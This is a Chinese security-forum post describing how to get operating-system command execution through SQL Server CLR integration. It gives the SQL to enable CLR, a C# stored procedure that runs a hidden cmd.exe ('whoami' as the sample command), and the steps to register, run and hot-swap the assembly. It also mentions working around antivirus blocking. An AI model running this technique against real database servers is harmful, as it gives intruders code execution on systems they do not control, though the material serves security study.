记一次实践SQL server CLR命令执行过程-思路分享社区-Web安全-赤道学院

记一次实践SQL server CLR命令执行过程

CLR简介

共语言运行库 (CLR) 是 .NET Framework 的核心,为所有 .NET Framework 代码提供执行环境。 在 CLR 中运行的代码称为托管代码。 CLR 提供执行程序所需的各种函数和服务,包括实时 (JIT) 编译、分配和管理内存、强制类型安全、异常处理、线程管理和安全性。

使用在 Microsoft SQL Server 中驻留的 CLR(称为 CLR 集成),可以在托管代码中编写存储过程、触发器、用户定义函数、用户定义类型和用户定义聚合。 由于托管代码在执行之前才编译为本机代码,因此在某些情形下可以大幅提高性能。

在 .NET Framework 上运行的托管代码使用代码访问安全性 (CAS)、代码链接和应用程序域来阻止程序集执行某些操作。 SQL Server 使用 CAS 来帮助保证托管代码的安全,并避免操作系统或数据库服务器受到威胁。

开始动手

  1. 检查是否开启 CLR

SELECT * FROM sys.configurations WHERE name = 'clr enabled'

Image description

  1. 没有开启,这里就为 0 ,执行下面语句开启。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;
 

Image description

生成CLR存储过程

环境:SQL server 2012R2、visual studio 2019

检查SQL server主机的.NET版本

本来以为需要查看系统的.NET版本,结果在后续编译过程中遇到问题,查资料后发现SQL server2012对应.NET 3.5版本。

cd %WINDIR%\Microsoft.NET\Framework\v4.0.30319
MSBuild.exe /version
 

看是否为 4.0 ,如果不为那就GG

  1. 在Visual Studio 2019中新建SQL server项目

Image description

创建好了就在右边,单击右键设置项目属性

Image description

选择属性

Image description

设置权限,以及NET架构

Image description

然后 CTRL+S 保存,会弹出一个选项框,直接选 

接着我们继续,单击项目->添加新项

Image description

选择:SQL CLR C# -> SQL CLR C#存储过程

Image description

会弹出这个界面

Image description

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void SqlStoredProcedure1 ()
    {
        // 在此处放置代码
        System.Diagnostics.Process process = new System.Diagnostics.Process();
        process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/C whoami > C:\\Windows\\Temp\\1.txt";
        process.Start();
    }
}
 

命令自己改。

编译生成Release版本项目,并得到项目路径。

Image description

来到文件目录

Image description

找到 .sql 结尾文件

Image description

定位到这个位置

Image description

然后准备完成。

操作SQL SERVER

  1. 把刚才那条SQL语句拿到SQL SERVER执行

Image description

pS: 如果提示GO什么的不存在,就把GO删除掉。

  1. 创建存储过程

Image description

CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [这里的名字为你当前程序集名称].[StoredProcedures].[SqlStoredProcedure1]
 

不然会提示不存在啥的。

注意,AS EXTERNAL后面的内容需要与C#代码中的程序集名称、类名、方法名对应。

  1. 调用存储过程

EXEC [dbo].[SqlStoredProcedure1];

Image description

个人使用

  1. 删除程序集 与 存储过程 【从0开始】这里面的 Hello 自己改了啥那就要改成啥
DROP PROCEDURE SqlStoredProcedure1
DROP ASSEMBLY [Hello]
 
  1. 修改执行的代码语句【这里是你从新在VS里面编译的新的SQL代码。替换掉Hex编码,然后再去执行 EXEC [dbo].[SqlStoredProcedure1]; 这样就能直接更新运行的代码,不需要二次重新创建。】
ALTER ASSEMBLY [Hello] FROM 0x0000000000000000000000000
 
  1. 因为我目前SQL server Bypass 360 的拦截,CLR命令执行并不奏效,显示win32的API调用被拦截。于是我想到了可以写出内容到文件。
        // 在此处放置代码
        string path = "C:\\Windows\\Temp\\23.txt";
        string conTent = "Hello";
        FileStream fs = new FileStream(path, FileMode.OpenOrCreate);
        StreamWriter sw = new StreamWriter(fs);
        sw.WriteLine(conTent);  //写入一行内容
        sw.Close();
请登录后发表评论

    没有回复内容